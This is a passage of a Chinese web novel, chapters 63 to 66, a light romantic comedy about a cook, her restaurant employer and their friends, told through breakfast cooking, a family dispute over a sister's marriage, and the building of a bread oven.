张清寒只见程六水故意别过头不看自己,心下更是一凉,却不声不响地接过了那围裙,自己乖巧地套上围裙打了个结,一双大手开始了别开生面的揉面团活动。 开水烫了一半面,凉水再和一半面,揉巴揉巴就成了烫面团子,再取来些面粉,里面放些米曲和温水,活成了发面团子,放在大盆里盖住等它自然发好。 程六水好不容易晃过神来,一回头天爷啊,这人怎么动作这么快,都在弄玉米面团子了,只见张清寒将磨成细粉的玉米面与白面混在一起,加上刚才的面曲温水,三五瞬的功夫又一个面团新鲜出炉了。 再往上一瞧,好家伙揉面的张清寒嘴撅得不知不觉都能挂东西了,一看就是生气了,程 六水不禁在心中为他摇旗呐喊,这人越生气干活越卖力,简直就是天生牛马圣体。 他合不该当什么东家,东家就应该是程六水自己来当,摇着芭蕉扇躺在摇椅上晒太阳,这日子真是美得很美得很。 卖力干活的张清寒自然是不知程六水在想什么的,他要是知道估计得气死,那就不是揉三四个面团的事了,估计揉得面团都得够半个江陵人吃了。 他揉完了最后一面团,这才抬头幽怨地看着程六水,此时无声胜有声,万语千言口难开。 程六水这才发觉空气中似乎弥漫着一股危险的气息,她身为胆子很大本事没有的典型代表,龇着牙装傻笑道,“怎么会不想东家在这儿帮我呢,你看要是我一个人,现在别说是四个面团了,就是一个都揉不了,肯定忙得手慌脚乱的。” “那你刚才为什么故意不看我,也不和我说话。”张清寒冷着一张脸,冷冰冰中不经意露出了一丝丝委屈。 程六水脸上细小的绒毛都要立起来了,这这这……这要怎么说嘛,难不成说自己想把他踹下马,厨子翻身把歌唱? 她咬着嘴唇,满眼的无助彷徨,委屈巴巴地看着张清寒,一双大眼睛水光潋滟,明明是十分少女的娇俏偏偏又有那么几分狡黠的胆怯,“东家烧火也好,揉面也好,能开得了酒楼还能进得了后厨,我哪里能比得了呢?迟早有一天,我做得饭东家都会做,那我该去做什么呢?” 这话三分真七分假,说得十分有理有据,顺便还拍了张清寒的彩虹屁,把张清寒整得是什么脾气都没了,哪里记得先前自己在气什么,立时手足无措起来,想去拉程六水的手,却又怕唐突了她。 “我知道的,我除了会做饭,会做炸药机关,会配药方子,还会做衣裳,除此之外我是什么都不会了的,就让我在这偌大的大乾颠沛流离吧。”程六水说罢,故意用刚刚沾过水的指头悄悄擦了两下脸,顿时两颊苍白微湿,好不可怜。 “我我我不是这个意思,我会做饭是因为你送了我食谱,我夜夜都看自然会得多了些,就算你做的我都会做的,我也不会让你颠沛流离的。”张清寒吓得不管三七二十一了,张嘴结结巴巴地解释道。 “那留在酒楼又能做什么呢,东家总不会要我一个吃白饭的人吧?”程六水抿着嘴眨巴着眼睛,抬头眼巴巴地瞅着张清寒,莹白的小脸满是希冀,如同一只故意引诱猎人掉入陷阱的大眼坏狐狸。 “为什么不行,到时候你在酒楼里,你想做什么便做什么,坐着躺着都随你。”张清寒被一激,顺着程六水的话就说了下去,半点身为东家的理智都没了。 “嘿嘿我可记住喽,到时候你可不能反悔!”程六水头一转脸一抹,哪里有半点可怜,笑得脸都快瓢了。 “你你你!”张清寒也算是个聪明人,没一会儿就知道自己是又被戏弄了,方才就没被安抚好的怨气再加上这遭戏弄,差点就给他气炸了。 “好了好了,刚刚都是逗你的,别生气了。”程六水此时倒是开始干正事了,一大把摘干净的韭菜切碎,倒入炒好的鸡蛋碎和泡软的碎粉条,这几样拌匀在一起,再来上些盐巴香料清酱,最后扔了些提鲜的虾皮进去。 “东家尝尝咸淡吧。”程六水用筷子拌匀,蘸了点韭菜鸡蛋给张清寒尝。张清寒早就气得都快捂了嚎风的了,他扭着头就是不肯尝,挺大个人跟个孩子似的。 “算了,你要是不愿意尝,我就去找杜二二尝尝。”程六水作势就要去后院寻正在酿制新酒的杜少仲。 只不过她没走两步,衣摆就被身后的人揪住了,这人明明气得要命却还不敢大力气揪程六水的衣裙,生怕揪坏了挨一顿骂。 “怎么了?”程六水笑盈盈地回过头来道,筷子上的韭菜鸡蛋眨眼间就递到了张清寒的嘴边。 张清寒不情不愿却仍是伸出舌头尝了尝道,“不咸不淡正好。” “我就知道东家舌头最好使了,要不是你在这儿时常帮我,我能做菜这么好吃吗?”程六水笑意更甚道。 “哼。”张清寒憋了半天,最后只能长舒一口气道。 “那宽宏大量的东家大好人能帮我顺便包个韭菜盒子吗?我记得那本菜谱了有教哦。”程六水拉着张清寒就到了那盆子韭菜鸡蛋粉条前,笑嘻嘻道。 “你怎么知道菜谱里有韭菜盒子?”张清寒皱着眉头问道,这韭菜盒子是昨夜他刚学的,还真是学以致用啊。 “我当然知道啊,送给东家的东西,我都是十分十分精心准备的。”程六水俏皮地眨了下眼睛,随后便转身忙活别的去了,全然没有察觉身后张清寒渐深的眼眸。 程六水自有自己的活计做,那发面团子擀成面片子,一层油一层葱花,葱花上再撒上些盐巴花椒粉,葱香味瞬间在厨房弥漫开,这面片子卷成长条,切成一个个小块剂子。 她随手扭吧扭吧就成了个小小的花卷,如法炮制了一会儿就将这一大盘子葱花花卷放进了蒸锅里再发一回,约莫半炷香的功夫就可以蒸了。 趁着葱花花卷醒发的功夫,程六水直接拿出了两个大土豆,咔嚓嚓削皮切丝洗两遍,土豆丝鸡蛋放进大碗里,再来些盐巴胡椒粉香料调和咸淡,最后倒入面粉均匀地拌在一起。 另一个灶台起锅烧油,程六水拿着长长的筷子,三下五除二就在油锅里摊出了好几张土豆丝饼,这饼不薄不厚,煎一会儿就全熟了,此时拿出来放凉一会儿就可以吃了。 土豆配面粉碳水配碳水,就没有不好吃的,咬一口酥脆的土豆外壳支棱着,再一抿内里就在嘴里化开了,软糯的土豆泥,恰到好处的咸淡,怎能不令人食指大动呢。 最后便是那玉米面团,程六水撸起袖子上手随意揪了个饼子形状,一面沾了些菜籽油,“啪叽”一下就贴在了小米粥的锅边,没一会儿铁锅边围了一圈玉米面饼子,而铁锅中的小米粥将将炖好,米油凝结在小米粥上,金黄的小米几乎炸开了花。 然后程六水无情地又将锅盖盖住了,她给张清寒递了个眼神,张清寒顿时心领神会,颠颠地端着自己包的韭菜盒子过来了,放进油锅里开始烙韭菜盒子,油香四起滋啦啦地极为动人。 而程六水一边蒸起了花卷,一边取出了木架上的陶罐子,这陶罐子里都是腌好的小菜,春日放在阴凉处十天半月都不坏。 第一个坛子里是早已腌好多时的酱瓜,小黄瓜切成几段放进坛子里,再放些干辣酱蒜片花椒白砂糖清酱的,本来清亮亮的小黄瓜只需一夜便入了味上了色,清香扑鼻还甜滋滋的,兼具微微的咸辣,没有比这更合适配粥的了。 自然了,酒楼伙计这么多人,一个小酱菜哪够,萝卜泡菜便派上了用场,这萝卜切成块用盐杀过水,就泡进米醋白糖清酱的汁子里,酸甜开胃口感脆爽,要是吃韭菜盒子有点腻了,拿这个清口最好。 最后一坛子则是程六水的最爱,豇豆小土豆酱菜,这豇豆在春日里还是个稀罕物呢,可程六水就是馋这一口了,无奈费了大价钱寻了这豇豆,这酱菜做起来也不难,在油锅里煸炒这豆角小土豆还有青椒,煸出虎皮了就把半坛子清酱倒进锅里,再来点白糖啥的,最后这豇豆是炖得又软又烂,小土豆筷子一戳一个洞就成了。 这豇豆酱菜吃的就是锅里这几种菜混合的味道,有的人还爱吃那西域的胡荽,起锅放进去也是点睛之笔啊,可惜上次程六水没买到,遗憾了许久呢。 这几样小菜用小碟子盛出,再拿一个大碟子装了好几个流油咸鸭蛋,配粥是再好不过的了。 而油锅旁的张清寒正好烙完了一大盘子韭菜盒子,这韭菜盒子烙得极好没有一个开肚皮开口的,金黄的疙瘩在面皮上,诱人的韭菜香气隐隐约约地传出。 张清寒烙了一会儿盒子,心情也是大有好转起来道,“六水你看我烙得韭菜盒子好不好?” 只不过还不等程六水回答,赵玉雨就掀开后厨的帘子进来了,她刚刚收拾完了大堂,桌椅板凳都擦了一遍,再过一会儿酒楼就能开门迎客了,她闲着也是闲着就跑到厨房里想着端个菜啥的。 哪曾想一进来就见东家怎么凶神恶煞地瞪着自己,再一瞧东家竟穿了六水的碎花围裙,啧啧啧她决定今日还是不要如此勤劳了,勤劳的鸟儿有虫吃,勤劳的虫儿被鸟吃啊! 然后赵玉雨就当作自己从未出现过,一步步倒回了大堂,脸上还挂着一丝难以捉摸的笑。 程六水疑惑地看着眼前如此诡异的一幕,不禁满脸问号地看向张清寒,而张清寒十分无辜地耸了耸肩,一副不关他事 的模样,随后又弯起唇角笑得活色生香,说了一遍“六水,我会烙韭菜盒子了。” 第64章 归京 程六水无奈地望了望天,又瞅了瞅地,脑海中不禁浮现起幼儿园孩子朝老师要小红花的场景,“嗯!这韭菜盒子真不错,肯定好吃。” 她不自觉地夹了夹嗓子,当真宛如哄大班孩子那样说道,说罢还想拍拍张清寒的头,奈何这人生得属实太高,只能轻轻拍了拍他的肩膀头,边笑边端着玉米饼子葱花花卷进了大堂。 张清寒却怔愣在原地不动,方才程六水那温柔到极致的夸奖一遍遍在他耳边响起,想着想着一张脸都红透了半边,被窗边漏出来的冷风吹了两下才缓过神。 大堂的老榆木桌上满满登登地摆着烟火气的早餐,一锅澄黄透亮小米开花的小米粥散发着甜香暖胃的气息,一圈围着的是焦香韭菜盒子,烙得边边脆脆的煎饼果子,土豆丝饼则散发着油亮的香气,最不起眼的葱花花卷早就被马牧川偷偷拿了两个,几个小酱菜也在其中画龙点睛地摆着。 “好吃哎!”马牧川腮帮子鼓鼓囊囊的,含糊不清地说着,嘴里叼一个花卷还不够,手上竟又拿了一个。如此吃相倒也怪不着他,这人长途跋涉了好几日,昨夜是滴水未尽,今晨吵架吵得欢实,这铁打的人也禁不住啊。 “啧啧啧,你这还是读书人呢,别噎着了。”萧墨虽是说嘴马牧川,但仍是亲自给他盛了碗小米粥。 “噎不着,读书人怎么了,我少时吃野菜喝米汤的日子也没少过,后来经商少不得也要风餐露宿,也就在京城的时候过了几天安稳日子。”马牧川接过小米粥,张嘴喝了一大口,忙不迭地就要拍案叫绝,可惜桌子是不敢拍了,只能啪啪拍大腿。 马陶陶低着头无视哥哥的举动,她一反常态地沉默不语,只是默默地给众人盛起了小米粥,一旁忙活完的赵玉雨关切地望了眼马陶陶,无声地询问着。 而马陶陶只是摇了摇头不说话,不曾想一转身就见乔四方不知何时就跑到了她跟前小声道,“陶陶,我和兄长说好了,你要是这次回京,我就也随兄长去京中待段时日。” “你为何要去京中?”马陶陶这才抬起头问道。 乔四方不好意思地挠了挠头道,“我这不是想着正好陪你在京中玩耍,到时候回江陵我也好照顾你。” “你们俩在那儿蛐蛐什么呢?陶陶这次回京是要待嫁的,下次来江陵不定什么时候了。”马牧川吃了个半饱,耳朵竖得比兔子都直,振振有词道,虽是知晓了乔四方是萧墨失散多年,可瞅着这人还是不顺眼得很。 “待嫁?”马牧川此言一出,四面八方的声音传来差点震聋了他。 “不是马牧川,你什么意思啊,你是不是在这儿胡搅蛮缠?”萧墨一听又急眼了,自家弟弟跟在马陶陶身后,那么个大高个跟班似的,这人竟又在这里胡言乱语。 “萧墨,做人要讲道理,你找到弟弟我马牧川真心为你高兴,但这事与我们家陶陶没什么关系,陶陶嫁给谁什么时候嫁,与你和你弟弟也没什么关系。”马牧川骤然间冷脸道,一改往日的不正经模样,神情十分严肃。 “我弟弟喜欢你妹妹,这怎么没有关系?”萧墨都快被气糊涂了,大声道。 “你弟弟喜欢我妹妹,同我妹妹有何干系?”马牧川不甘示弱地喝道。 原本一片和谐的气氛瞬间剑拔弩张了起来,杜少仲拿着个玉米饼子悄声吃着,都不敢吧唧嘴,生怕惹火上身。 “你们别吵了!”马陶陶忽然站起来,走到了这俩人中间,不由分说地把差点又要撕巴上的他们分开。 “句句为我好,从昨日到今天你们有人问过我吗?”马陶陶面色无比平静,说出的话却令在场诸人都安静了下来。 “乔四方,我哥哥要带我回京,你就跟着我回去?你问过我愿不愿意回京吗?” “哥哥,你让我跟着你回去,我说过我不愿意,但你从来都没有亲口问过我为什么不愿意,或许是我在这江陵有留恋的人,但是不是还因为我在这里有自己想做的事情?” “萧将军,你弟弟喜欢我,我很开心可并不意味着,我就一定要喜欢他,就算我真的喜欢他,这也是我们两个的事情,你心疼你的弟弟,难道我就一定要同你弟弟在一起吗?” 马陶陶接连发问,如一道闪电在对面三人的心中激起滔天巨浪,原本十分混乱的争吵戛然而止,三人面面相觑皆是不知所措。 “陶陶对不起,我不知道你不愿意,我只是不想离你那么远。”乔四方欲言又止地开口道。 “你不知道可以问我,我不需要你的想当然,也不需要你时时刻刻的百依百顺,我喜欢的是活生生的你,不是个傀儡。”马陶陶立着眉收敛眼眸轻声道。 一听到“喜欢”两字的乔四方,顿时麦色的脸颊红了一片,低着头都掩饰不住道,“好,我以后都问你。” 而马牧川却坐不住了,激动的心颤抖的手,顶着自家妹妹凶悍无比的目光道,“你还说你不是为了这小子不愿意回京,你都说喜欢他了!” “我是喜欢他,起初我也以为我不想离开江陵,就是因为他。直到今早四方找回了亲生哥哥,我们之间那些世俗的障碍没有了,正如四方所说,他可以随我回京日日伴我左右。 可那一刻,我并不欣喜相反我害怕了,高门大院深闺妇人是再安稳不过的日子,我却一点都不想过。哥哥,我们是留着相同血液的亲兄妹,当初你进士及第官拜翰林,你不是照样也不愿过这样的日子吗?如今为何却让我过呢? 你不必说我也知道,你心疼我,你不愿意让我吃一点苦,长大是需要代价的,所以你宁愿我不要长大,可是哥哥我已经长大了,我在这里从一个跑堂做起,迎来送往做生意,我喜欢这样的日子,等有一天我也想同你一样,走遍山川河流,把生意做到挨家挨户。“马陶陶轻声道,眼角泛红泪水不经意滑落到了脸颊。 马牧川愣在一旁,眼睛中些许疲惫的红血丝,久久才嘶哑开口道,“是啊,你终于还是长大了,哥哥应该放手的。” 说罢深深长叹了口气,忽然又满眼希冀地望向马陶陶道,“那要不回京经营家里的铺子呗?百八十个随你挑。” “哥哥!”马陶陶抬眸就是一记眼刀警告道。 “行行行,不说了不说了。”马牧川立时捂住自己小嘴巴不说话。 “那个……陶陶,今日是我急了,我绝对没有不尊重你的意思,我在这儿给你赔个不是了。”萧墨上来就要抱拳鞠躬,马陶陶一见赶忙拦住了,这大将军见亲王宗室都不用行礼,这礼她哪儿受得起啊。 “萧将军,我知你是关心则乱,你放心我不会欺负四方的。”马陶陶拭去了泪水,浅笑道。 “哎呀都这么熟了,怎么还这么见外,叫什么萧将军啊叫我萧大哥就好。”萧墨嘿嘿一笑,同乔四方如出一辙地挠起脑袋。 “行了,说也说完了,赶紧吃饭吧,等会儿我烙得韭菜盒子就要凉了。”张清寒在众人声泪俱下之时,早就给每个人摆上了饭碗,碗里一人一个韭菜盒子,谁也逃不了。 “我我我,我还有一句话。”马牧川在张清寒杀死人的目光下,颤抖着举起了手。 “说吧。”张清寒撇嘴道。 “既然陶陶也不和我一起回去了,我想着不如我在这儿多待些日子吧,我们兄妹总是要聚聚的。”马牧川结结巴巴道。 “我也想!”萧墨傻呵呵地也跟着举手。 “你们两个都是要回京面圣述职的,留在我这儿算是怎么回事啊?”张清寒这回真急了,筷子都掉桌上了。 “要是你能写封折子递上去,就说我在江陵 要看看万通镖局的进项,万通镖局你懂的呀,皇后娘娘的老搭档,她肯定不会反对的,至于萧墨嘛,你就说他突然病了在你这儿养病呢,陛下一听肯定是心疼得不得了,这不就妥了吗?“马牧川这下子是彻底和萧墨握手言和了,两个人好嘛一致对外了。 张清寒越听越皱眉,眉毛都快打结了,看着那一双双恳求的眼睛,他只能十分无奈地开口道,“行吧,马牧川你明日就搬去万通镖局去住,萧墨就住在酒楼二楼。” “耶嘿!”马牧川一激动直接和萧墨手拍手哥俩好了。 “吃饭吃饭!”程六水笑嘻嘻地招呼着,真好啊陶陶不走了,四方也不走了,大家热热闹闹地在酒楼过着小日子,没什么比这样的日子更好了。 程六水这下才咬了口韭菜盒子,韭菜的清香粉条的顺滑,自然烙得火候也恰到好处,她吃得满嘴喷香,心满意足的神情溢满了脸上,再配上一口甜甜的小米粥,真是无上享受啊。 “这么好吃吗?”张清寒笑着递过手帕给程六水道,这小妮子都吃成小花猫了。 “当然了,只要是东家做的都好吃。”程六水笑道。 “你啊就知道哄我。”张清寒不禁也跟着笑道,只不过他还有句话没说出口,要是能哄他一辈子就好了。 第65章 面包窑 晴空万里半点云彩也没有,和煦春风拂去了那点子残留的寒气,枝头缀满簇簇粉白花的海棠树伫立在一旁,那树该是长了许多年了,树干粗得一人都抱不拢。 张清寒两只手捧着张大大的纸,左看右看一一比对着,从前厅走到后院来来回回好几趟,边走边还喃喃自语道,“这前厅要彻底打通,后院院墙也得推倒了……” 他刚说到此处,一声清脆的口哨忽然从头顶袭来,张清寒下意识望去,不高不矮的院墙上趴着一二三四个脑袋,“东家我的屋子能不能也打通,这样我的床就能做成三米宽的了。”杜少仲笑呵呵道。 “你那三米宽的床就不**了,那叫炕。”趴在杜少仲左边的马牧川撇了撇嘴道。 “炕?我还没睡过炕呢?”杜少仲一听越发兴致盎然道。 “炕好啊,火炕一烧,冬天都不用屋里烧炭盆了,一夜睡到大天亮热乎乎的。”走南闯北见过不少世面的乔四方一脸向往道。 “但江陵这地界都要到江南了,能有会做火炕的吗?”第四个脑袋萧墨发话了,他摇头晃脑地认真思索着。 “不能,还做火炕呢,我看我给你们四个都扔火盆里得了,绝对暖和。”张清寒好不容易才把酒楼隔壁铺子给盘下来,这些日子官府籍册也都过了明路,眼下这地方总要收拾收拾才能做生意,正是忙得脚打后脑勺呢,结果他这群兄弟们还在这儿悠然自得地探讨在江南搭东北火炕??? “搭火炕是不行,但这院子这么大,我倒是想搭个面包窑。”柔和的声音从不远处传来,张清寒转头一瞧,好家伙六水不知道从哪儿搬了个躺椅过来,在那海棠树下悠哉悠哉地半躺着。 雪白玉腕支着下巴,纤纤指尖举了支开得正好的春海棠,妃粉襦裙上散落着几瓣白透粉的花瓣,程六水如一只懒洋洋的尺玉狸奴,斜晲着愣在原地的张清寒。 阵阵风声钻入耳中,张清寒大脑却唯有火花闪电噼里啪啦作响,连连点头道,“好,那就搭面包窑。” “啥叫面包窑?”杜少仲好奇道。 张清寒这时才总算清醒了些,“面包窑”三个字顺着脑子过了一遍,很好脑子空空如也,“六水,什么是面包窑啊?” “???”萧墨满脸问号地看向张清寒,这人还是他认识的玉面修罗皇城司使吗?怎么看上去就是个傻蛋呢?不会是被人偷摸掉包了了吧,啥也不知道就说好。 “面包?是不是西域人吃的?我做生意的时候见过几次。”马牧川甩了个眼神给萧墨,一副他已经了然于胸的模样,不紧不慢地说道。 “正是,牧川大哥真是见多识广,西域人把这面包当作主食,但面包窑可不止能烤面包,还能做烤鸡烤羊排烤牛排,我看这院子东北角空着也是空着,搭个面包窑以后酒楼说不定能有西域来的商人光顾呢。 再说了,这江陵酒楼也不止我们一家,虽说如今十全酒楼红红火火的,但总得居安思危,变着花样吸引客人,要是我们有了别人家不会做的吃食,那不就是事半功倍嘛。“程六水坐直了身子,小嘴叭叭说道。 “这么说来确实不错。”张清寒又开始连连点头了,当然不止他一个人点了。 “哎呀六水,我发现你做生意很有天赋啊,你要不要来我这儿做生意,你和陶陶回京城,一起管铺子。”马牧川听罢见缝插针道,他一方面是当真觉着六水主意多有主见能扛事,是个经商的好苗子,另一方面他仍是不死心,想借机拐带自家妹妹回京。 “马牧川,你万通镖局的帐查明白了吗?不好好查账来我这儿晃悠做什么?”张清寒瞬间脸就冷了下来,逐客令都下了。 “我……”马牧川还没等开口辩解,只听张清寒又开口道了。 “萧墨,你不是重病吗?病到能爬墙了?四方你还不赶紧扶你兄长回屋歇着,至于……”张清寒一双冷眸扫在了爬墙四人组身上,毒蛇般令人恐惧。 “我走我走,哎呀大白天这月亮真圆啊。”杜少仲一个猛子就跳下了墙,腿一软差点摔着了,撒丫子就往回跑,生怕自己的名字也出现在张清寒嘴中。 其余三人则面面相觑了几瞬,齐刷刷地缩了头,眨眼间就消失不见了。 张清寒见这些个没有眼色的家伙终于走了,这才走到海棠树下,轻声问道,“六水,这新铺子和院子,你要还想加些什么,就同我说。” “别的倒是也都不缺,只是东家你要把两个铺面并成一个,怕不是请人来砸墙粉刷,而且还要歇业一段时间吧?”程六水扬着头问道。 “正是,总是要请些泥瓦匠改改格局,再请木匠打些桌椅板凳的,我粗略算了算,这些弄完最少也要半月有余。”张清寒答道。 “那歇业的时候,我们伙计是有工钱拿的吧?”程六水紧紧捂住自己的小荷包,惴惴不安地看着张清寒,生怕张清寒嘴里说出些什么她不爱听的话。 张清寒见她那副贪财抠门的样子,“扑哧”一下笑出了声道,“放心吧,自然是有的,酒楼虽不开张,可也需伙计们上下忙活着。” “东家你真好!”程六水这下才喜笑颜开道。 “说到这儿,酒楼这事儿也不能光我们几个忙活着啊。”张清寒眼睛一转,轻笑道。 “那还有谁啊?”程六水随口问道,她已然在海棠树下的石桌上埋头苦画面包窑的设计图了,圆咕隆咚的窑顶,厚厚的底座。 “当然是那俩儿天天来蹭饭的家伙。”张清寒摸着下巴振振有词道。 程六水这才转过头蹙眉道,“东家,你同萧大哥和牧川大哥在京中真的是好兄弟吗?” “自然是。”张清寒嘴角沁着抹笑,蹭吃蹭喝还想把他的伙计们拐回京城的好兄弟怎么能不坑一坑呢。 “哈欠!哈欠!”马牧川都没走出酒楼,就连连打了好几个喷嚏。 “你着凉了?哈欠!”萧墨刚想关心马牧川,自己也接着开始打起喷嚏。 两人你来我往,连打了十几个才停下,马牧川一脸愤恨道,“我猜肯定是有人背后骂我。” 萧墨揉了揉发痒的鼻子,随意道,“你天天做生意坑别人,不被骂才怪呢。” “那你天天去打别人,骂你的人肯定更多。”马牧川梗着脖子道。 “我那都是奉命行事,肯定是骂你的多!”萧墨不客气地反击道。 “你多!” “你更多!” “你 最多!” 刚刚睡了个午觉,伸着懒腰走到大堂的马陶陶,见着这俩人又吵起来,默默拉着立在一旁不知所措的乔四方走了,真是两个幼稚鬼。 翌日,酒楼就挂起了歇业的牌子,俗话说一回生二回熟,上回酒楼被杜少仲一把火都快烧没了,这回不过是扩建合院的事,于酒楼伙计们而言自然是手拿把掐。 而萧墨和马牧川则“自愿”做起了垒面包窑的重任,幸运的是他俩都是干过活的,拎起家伙就是干啊;不幸的是,他俩摊上了一个看上去十分靠谱却有那么点不靠谱的设计师——程六水。 “六水,你这个面包窑的底座是不是要打地基啊?要不这也不稳当呀。”萧墨对着瓦蓝瓦蓝的天空,拿着设计图看了半天说道,他小麦色的脸上早就蹭了不少泥点子。 “有道理有道理,得有地基,你会打吧?”程六水满脸希冀地看向萧墨。 “额……要看你有什么要求了,一般盖房子的地基我会。”萧墨说完这话,总感觉自己这后脊发凉。 “我要的,就是你会的那种。”程六水的目光充满了信任与坚定,仿佛真见过萧墨打过的地基一样。 “……好,那我这就去弄。”萧墨皱着眉,忽略心中奇奇怪怪的感觉,大步跑去干活了。 “六水,我看你这图,砌好窑体的砖得再抹层保温的东西吧?不然这火候不够,面包能烤熟吗?”马牧川好歹是进士出身,杂学什么的多少是会点的。 “有道理有道理,得抹层保温的东西,你知道抹啥保温吗?”程六水露出了八颗尴尬又不失礼貌的微笑道。 “我倒是知道有种岩石可以用,这岩石产自陇南,据传是百年前火山爆发留下来的,保温效果不错,若是取之混以石灰石黏土砂石,应能成功。”马牧川若有所思道。 “好啊,就按照你说的来,采买陇南岩石的钱找他。”程六水指着忙得跟个陀螺一样的张清寒道。 马牧川点了点头走了,只不过他又仔细端详了程六水给的图,随后还是认命般在空白处写下了密密麻麻的解释。 而程六水早已低下头继续和赵玉雨一同干活了,可她这心里确实有些惴惴不安,老天爷啊饶了她吧,她只是个厨子,这造面包窑真的是太难了,这面包应该也许大概能吃上吧? 第66章 风流轶事 一米宽两米高上圆下方的面包窑在两位十分卖力干活的“好心人”帮助下,越瞅越是那么回事儿了,整齐划一的方砖拱起了面包窑的圆顶,灰白的保温泥光滑平整地涂在其外部。 一圈七八个人围着这面包窑一个劲儿地转圈,不是摸着下巴,就是挠着脑袋,个个都不太聪明的样子。 “你说这窑顶为什么是圆的?它怎么不是方的呢?”赵玉雨弯着眉,眯着眼睛十分新奇道,说着说着手比划了起来。 “不知道,但这圆咕隆咚很像草原上北戎人的家,圆圆的立在草原上。”萧墨摇了摇头,人还在转来转去。 “我明白了,那这个面包窑就是给面包盖的家。”乔四方振振有词地分析道。 “那面包是个啥味?你吃过没?”杜少仲怼了怼身前的马牧川说道。 “吃过当然吃过,想当年我同商帮的伙计们席地而坐,对面的西域商人啃着我们的白面馍馍抹辣椒酱,我们就吃他们的面包,硬邦邦老大一个儿,劲儿小的都掰不下来,可进嘴了嚼一嚼倒是挺香的。”马牧川眼睛一翻就陷入了曾经的过往中,天蓝蓝地绿绿的日子,每一天都能见着新奇的玩意儿。 “哥,你这说的怎么感觉也不太好吃啊?”马陶陶蹙眉回头问道。 “你啊还是小没吃过苦,走马帮卖东西,有的吃就不错了,再说了白面做的面包能难吃到哪里去。”马牧川撇着嘴道。 “你怎么凶巴巴的,凶巴巴老男人,活该打光棍!”马陶陶瞅着自家哥哥嫌弃的神情,立着眼睛梗着脖子回怼道。 马牧川一听气得眼都冒绿光了,还没来得及说话,只听对面张清寒道,“非也非也,你哥哥打不成光棍了。” “哦?什么意思?”程六水抱着一堆柴火走了过来,看着眼前这群人一圈一圈地绕不停,真是眼晕,边说着边硬生生把这群人分开,真耽误她烧柴火啊。 “六水我来帮你吧。”张清寒虽是被程六水扒拉到一边子,但仍是百折不挠地颠颠回来了,蹲在她身旁一根一根递着柴火。 梨木噼里啪啦地在窑炉中间燃烧着,高高的火舌炙烤着窑内,烟囱里不断冒着烟,乍一看十足十的烟火气萦绕在这刚刚建好不久的小院里。 春意盎然间围绕在窑火旁,映得程六水莹白的脸颊一片红润,她这才闲下来搬了个小板凳坐到了众人身旁,午后日光柔和地打在小院里,漏下了斑驳的光影。 矮矮的石桌上满是瓜子点心蜜饯,马陶陶抓着把瓜子就恶狠狠地磕起来道,“说吧,凶巴巴老男人做不成光棍是怎么回事?” “是啊是啊,是怎么回事?”程六水后来居上,捡了几颗焦香蜜甜入口油香的琥珀核桃,看热闹不嫌事大道。 马牧川求救般地转头看向萧墨,萧墨装作很忙的样子,一个劲儿给弟弟倒茶水,这春日里燥火大,多喝点水好啊。 “我牧川兄才高八斗腰缠万贯,这能打光棍吗?不能够啊。”还是杜少仲够义气地出来打了个圆场道。 “行了行了莫要说我了,你们想不想知道张东家的风流轶事啊?”马牧川自知与北戎长公主那关系是说不清道不明,恨不得赶紧藏着掖着,只能说些别的来转移火力。 不曾想此话一出,本还兴致勃勃的程六水怔愣了半下,火光在眼眸中不断跳跃着,她极快地收敛住神情,眨眼间便笑意渐生,捧着下巴依旧兴高采烈地追问道,“要要要,有什么风流轶事啊?” “马牧川!”正蹲在窑炉那烧火的张清寒,极白的脸上烟熏火燎的,他顾不上放下手中的柴火棍,直接冲过来就要制止住这个胡言乱语的家伙。 “看来是真有呀。”程六水抬头浅笑道,半点也看不出异样。 “有就说说嘛,东家肯定不是小气的人。”马陶陶也跟着笑道,只不过她的手正在桌下试图拯救自己的手绢,明明是借给程六水擦手,怎么都要被揉成碎步了呢。 赵玉雨咧着嘴也乐了,“难不成东家是负了人家女儿家?”她安抚般地按住了石桌下程六水躁动不安的手,面上眼神竟是一副颇为惊讶的模样,仿佛张清寒真是做了什么事的。 程六水也瞪着溜圆的眼睛道,“不会是真负了别人,来这江陵躲情债来着。” “我没有!”张清寒一看,六七双眼睛都直勾勾地盯着自己,他当真是百口莫辩,可他更气的是,程六水竟是半点反应都没有,众人里就她笑得最凶,一句接一句地调侃自己,难不成她心中当真一点都没有自己? 张清寒越想心越寒,索性坐在了石凳上,面色冰如山巅雪唇瓣抿成了一条直线道,“牧川,你倒是说说我有什么风流轶事?” 马牧川瞬间脊背发凉,本来以为自己扳回一局的报复心理全没了,他盯着张清寒左看看右看看,顺着张清寒的目光看去,忽然福灵心至道,“那我就好好说说,咱们这位张清寒张东家,当年是一战成名,救当今陛下于水火之中,年少入朝为官当真是一时间风头无两啊,那年清寒约莫也就十七八的岁数。” 说罢比着程六水道,“比六水你还小呢,可怎奈这人小本事大,没多久功夫就在京城出了名,自然了不止是在朝堂中,那朝堂上有头有脸的人一瞧清寒,便知他是个栋梁之材,生得也好就起了择婿之心,沈太师的孙女,王尚书的独女,还有那林将军的妹妹,都与清寒相看过呢。” “相看过?也是青春年少总有想成家的时候。”赵玉雨弯着眼睛,笑得了然于胸,可石桌底下也不安抚程六水了,她比较希望六水直接给东家一个大比斗。 “那怎么没成呢?可是没相中?”程六水听了这话,面上倒是愈发稳得住了,从筐子里捡了颗琥珀核桃又吃了起来,不远处窑炉里火烧得正旺都要窜天了。 马牧川被这么一问,嘚嘚瑟瑟地不敢回答,回头又看了眼张清寒,张清寒面色如常点了点头。 “这自古姻缘看缘分,这清寒的姻缘就是坎坷些,不是沈太师的孙女有了别的意中人,就是林将军的妹妹跑去参军去了,总之最后就是都没相看成。”马牧川越说声越小,他好歹是声色犬马里走过一遭的人,现下却也摸不透程六水的心思了,这天下没几个女子能心平气和地听心仪男子的前尘过往的。 虽说张清寒着实是不算有什么过往,可六水表现得未免也太平静了吧,他再偷摸瞅了眼张清寒,好家伙本来就在火堆里熏黑了的脸,现下是彻底黑了。 “确实,缘分这事急不得。”程六水仿佛真的善解人意地说道,一片岁月静好。 静坐在一旁许久不说话的萧墨,忽而挠着头笑呵呵开口 道,“六水,你喜欢什么样的啊?不瞒你说,我娘子的弟弟与你年纪相仿,是个铁骨铮铮的好儿郎,人品才貌没得说,最关键的是他特别喜欢品鉴美食,你俩一个爱做一个爱吃,我瞧着就很有缘分。” “咳咳!”马牧川这下子屁股都跟生了火似的,彻底坐不住了,一个劲地咳嗽打断着。可惜眼疾手快的赵玉雨根本不给马牧川机会,一杯水直接灌进了这人嘴里,还想打断叫你说不出话来。 